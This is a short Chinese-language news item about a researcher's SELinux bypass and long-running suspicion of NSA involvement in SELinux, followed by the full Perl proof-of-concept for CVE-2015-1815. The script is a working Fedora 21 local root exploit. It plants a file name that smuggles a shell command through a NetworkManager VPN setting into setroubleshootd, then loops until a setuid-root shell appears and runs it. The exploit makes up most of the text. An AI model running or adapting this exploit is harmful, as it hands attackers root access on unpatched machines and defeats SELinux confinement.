“GNU/Linux厂商SuSE的安全研究人员Sebastian Krahmer成功的绕过了SELinux的白名单规则,Sebastian分析了漏洞利用的方法并且公开了PoC,由于在targeted规则的情况下,社区的维护人员都假设是安全的所以会给一些的程序root权限运行,可能这正是NSA所希望看到的;-)
著名的MAC(强制访问控制)开源实现SELinux是由NSA(美国国家安全局)于1990年代末发起的项目,于2000年以GPL自由软件许可证开放源代码,2003年合并到Linux内核中,过去10年中关于是否NSA在其中放后门的争论没有停过,一些人认为应该信任SELinux,因为它是以GPL自由软件许可证公开的源代码,也有人认为它是NSA参与过的项目,所以不应该信任。2013年Snowden曝光棱镜后更多的人极度的不信任NSA,认为NSA有对Android代码植入后门的前科,所以应该怀疑所有NSA积极参与的项目包括SELinux。目前MAC的开源实现里,SELinux主要由RedHat/CentOS/Fedora社区维护,Apparmor主要由OpenSuSE/Ubuntu社区维护,而以纵深防御著称的PaX/Grsecurity到目前未知因为厂商利益以及社区政治等各种原因,虽然被诸多操作系统抄袭( Linux/Windows/OSX),但一直未能进入Linux主干代码。”
https://github.com/stealth/troubleshooter
#!/usr/bin/perl # Fedora21 setroubleshootd local root PoC (CVE-2015-1815) # # requires polkit authorization to add/mod VPN connections # to NetworkManager (default on desktop user) # # I say: lulz! # # (C) 2015 Sebastian Krahmer # # # create a pathname that setroubleshootd will eventually # query sh -c { rpm -qf ... with, fucking up ' escaping. So the # embedded pathname is then evaluated as command # # There goes your NSA-grade SELinux security. #$command = "id|logger"; # full blown rootshell to disable SELinux $command="cd var;cd lib;cd setroubleshoot;cat \$SHELL > sh;chmod 04755 sh"; $boomsh = "/var/lib/setroubleshoot/sh"; $file = "/tmp/7350.pem';$command;echo '"; open(O, ">", $file) or die $!; close O; # add connection system("nmcli c add type vpn ifname FOOBAR vpn-type openvpn"); open(O,"|nmcli c edit vpn-FOOBAR") or die $!; print O "set vpn.data ca = /tmp/7350.pem';$command;echo ', password-flags = 1, connection-type = password, remote = 1.2.3.4, username = FOOBAR\n"; print O "set vpn.secrets password=1\nsave\nquit\n"; close(O); print "[*] Triggering vulnerability for boomsh ...\n"; while (((stat($boomsh))[2] & 04000) != 04000) { system("nmcli c up vpn-FOOBAR"); sleep(10); } print "\n[!] Found boomsh mode 04755! Domains dont contain!\n"; exec($boomsh, "-p");